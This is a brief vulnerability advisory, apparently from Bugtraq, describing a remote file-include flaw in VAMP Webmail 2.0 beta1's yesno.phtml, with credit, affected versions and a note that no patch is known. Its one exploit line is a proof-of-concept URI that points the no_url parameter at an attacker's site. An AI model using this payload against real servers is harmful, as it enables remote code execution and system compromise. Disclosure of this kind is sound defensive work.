VAMP Webmail Yesno.PHTML Remote File Include Vulnerability

Bugtraq ID:	20289
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 01 2006 12:00AM
Updated:	Oct 02 2006 07:45PM
Credit:	Drago84 is credited with the discovery of this vulnerability.
Vulnerable:	VAMP Webmail VAMP Webmail 2.0 beta1
Not Vulnerable:

VAMP Webmail Yesno.PHTML Remote File Include Vulnerability

VAMP Webmail is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

VAMP Webmail 2.0beta1 and prior versions are vulnerable to this issue.

VAMP Webmail Yesno.PHTML Remote File Include Vulnerability

Attackers can exploit this issue using a web client.

The following proof-of-concept URI is available:

http://www.example.com/wamp_dir/setup/yesno.phtml?no_url=attacker's site

VAMP Webmail Yesno.PHTML Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

VAMP Webmail Yesno.PHTML Remote File Include Vulnerability

References:

• VAMP Webmail Home Page (VAMP Webmail)